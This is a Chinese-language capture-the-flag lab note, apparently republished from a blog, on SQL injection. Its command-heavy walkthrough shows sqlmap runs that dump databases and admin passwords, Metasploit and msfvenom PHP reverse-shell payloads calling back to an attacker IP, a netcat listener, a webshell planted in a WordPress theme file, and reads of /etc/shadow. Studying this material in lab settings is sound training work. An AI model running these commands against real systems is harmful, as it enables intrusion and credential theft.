zoukankan      html  css  js  c++  java
  • ctf-web-SQL注入思路笔记

    SQL注入漏洞介绍

      1. SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行sQl语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
      2. SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;

    SQL注入GET参数

    1. 信息探测
      1. 扫描主机服务信息及服务版本:   nmap –sV 靶机IP地址
      2. 快速扫描主机全部信息:  nmap –T4 –A –v 靶机IP地址
      3. 探测敏感信息:   nikto -host http://靶场IP地址:端口
      4. 发现网站用户登陆后台地址,浏览器打开,尝试弱口令登陆,发现无法登陆
    2. 漏洞扫描
      1. web漏洞扫描器owasp-zap:OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用试人员进行人工安全测试的优秀工具。程序过程中,自动发现web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
      2. image
      3. image
    3. 漏洞利用
      1. 使用sqlmap利用sQL注入漏洞
        1. -- sqlmap -u ‘’网页地址‘’   --dbs  查看数据库名image
        2. -- sqlmap -u ‘’网页地址‘’   -D   “数据库名”    --tables  查看对应数据库中的数据表
        3. -- sqlmap –u  ‘’网页地址‘’  -D  “数据库名”  -T  “表名”   --columns   查看对应字段
        4. -- sqImap –u   ‘’网页地址‘’    -D  “数据库名”  -T  “表名”  -C  “列名”  --dump   查看对应字段的值,回车两个都选y,获得管理员账号密码,网页直接登陆
        5. 上传shell反弹权限
          1. 攻击机启动监听
            1. msf > use exploit/multi/handler
            2. msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
            3. msf exploit(handler) > set lhost攻击机lP地址
            4. msf exploit(handler) > set lport 4444
            5. msf exploit(handler)> run

          2. 生成反弹shell

            1. msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址lpor

          3. 将后缀名php改为PHP,上传并访问该网址,获得反弹shell

        6. 也可以直接尝试  sqlmap  -u  url  -os  -shell   直接获取shell

    4. 总结

      1. nmap-sqlmap-获得登陆账号-登陆后台-发现上传漏洞-上传shell-执行shell-获得权限

    SQL注入POST参数-注入HTTP报文

    1. 信息探测
      1. 扫描主机开放的全部端口:nmap -T4 -p-  靶场IP地址
      2. 快速扫描主机全部信息: nmap -T4 –v –A 靶场IP地址
      3. 发现8080,443,80端口开放,可以使用HTTP探测工具进行探测
        1. 探测靶场机器敏感文件目录-- nikto -host http://靶场IP地址:端口  
        2. 暴力探测敏感文件目录  -- dirb http://靶场lP地址:端口 
    2. 漏洞扫描
      1. 尝试owasp发现漏洞
        1. web漏洞扫描器owasp-zap:OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用试人员进行人工安全测试的优秀工具。程序过程中,自动发现web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
        2. 没有发现漏洞
      2. 尝试使用SqlMap进行探测
        1. 使用burpsuit进行抓包,输入简单密码尝试登陆,保存抓到的报文到桌面request.raw里面 image
        2. 使用sqlmap利用sQL注入漏洞
          1. -- sqlmap -r request.raw  --level 5  --risk 3  --dbs   --dbms mysql –batch     探测数据库有哪些数据表
            1. -r request.raw  代表抓取HTTP报头
            2. -level 5  -risk 3 使用最大限度,最高水平SQLMAP进行检测,最高风险发送数据
            3. --batch 不在询问其他内容,如需要自动补齐
          2. -- sqImap -r request.raw --level 5  --risk 3  -D  数据库名  --tables  --dbms mysql –batch      查看对应数据库中的数据表
          3. -- sqImap -r request.raw --level 5  --risk 3  -D  数据库名  -T   表名  --columns  --dbms mysql  –batch         查看对应字段
          4. -- sqlmap -r request.raw --level 5   --risk 3 –D  数据库名  —T  表名  -c  列名  --dump  --dbms mysql  –batch         探测字段的数值
          5. 得到wordpress的登陆账号密码
    3. 上传shell反弹权限
      1. 方法一:
        1. 攻击机启动监听
            1. msf > use exploit/multi/handler
              1. msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
                1. msf exploit(handler) > set lhost攻击机lP地址
                  1. msf exploit(handler) > set lport 4444
                  2. msf exploit(handler)> run
                2. 生成反弹shell
                  1. msfvenom  –p  php/meterpreter/reverse_tcp lhost=攻击机IP地址  lport=4444 -f raw >/root/Desktop/shell.php
                  2. 将后缀名php改为PHP,上传并访问该网址,获得反弹shell
              2. 方法二:
                1. -- webshell获取
                  1. /usr/share/webshells/php/
                2. 启动监听
                  1. nc -nlvp port
                3. 启动终端
                  1. python -c "import pty;pty.spawn(/bin/bash')”
                4. 执行shell,获取反弹shell。
                  1. http://靶场lP地址:端口号/录/wp-content/themes/主题名/404.php
            2. 提权
              1. --使用cat  /etc/shadow cat/etc/passwd  查看敏感文件
              2. --使用su-提升root权限
            3. 总结;
              1. 使用nmap扫描探测,发现HTTP开放-尝试owasp分析,没结果,-尝试SQLMAP分析-brupsuit抓包-sqlmap注入-得到wordpress登陆密码-进入系统-上传SHLL,两种方法-提权

            sql注入(X-Forwarded-For)

            1. 信息探测
              1. nmap扫描image
            2. 探测HTTP敏感信息
              1. 探测靶场机器敏感文件目录-- nikto -host http://靶场IP地址:端口  
              2. 暴力探测敏感文件目录  -- dirb http://靶场lP地址:端口 
                1. 探测靶场机器敏感文件目录-- nikto -host http://靶场IP地址:端口  
                2. 暴力探测敏感文件目录  -- dirb http://靶场lP地址:端口 
                3. 发现后台尝试弱口令,失败
            3. 漏洞扫描
              1. 漏洞扫描器AVws—windows平台
                1. 介绍:专注与WEB漏洞的一个扫描器,更新快,集成全
                2. 设置扫描靶机IP,点击SCAN,其他不用设置,最后设置生成developer报告image
                3. 发现SQL注入漏洞,X-fprwarded-For漏洞image
            4. 漏洞利用
              1. 使用sqlmap利用sQL注入漏洞
                1. -- sqlmap -u url  -headers= "x-Forwarded-For:*”  --dbs  --batch  查看数据库名image
                2. -- sqlmap -u url -headers= "x-Forwarded-For:*”  -D  “数据库名” --tables  --batch    查看对应数据库中的数据表
                3. -- sqlmap -u url -headers= "x-Forwarded-For:*”  -D  “数据库名” –T “表名”--columns  --batch   查看对应字段
                4. -- sqlmap -u url -headers= "x-Forwarded-For:*”  -D  “数据库名”-T “表名” –C “列名” -dump –batch  查看字段内容
                5. 获得用户账户密码,登陆后台
            5. 只要是用户可以输入的位置都是有可能存在注入点的
          1. 相关阅读:
            爬虫笔记:PyQuery模块(七)
            25丨固若金汤的根本(下):数字签名与证书
            爬虫笔记:Beautiful Soup 使用(六)
            24丨固若金汤的根本(上):对称加密与非对称加密
            爬虫笔记:requests模块使用(四)
            五安全篇(7讲)23-TLS又是什么?
            爬虫笔记:http请求详解(三)
            22丨冷链周转:HTTP的缓存代理
            python中expandtabs()函数的用法
            Python全栈工程师(while、占位符)
          2. 原文地址:https://www.cnblogs.com/zw7889/p/13592433.html
          Copyright © 2011-2022 走看看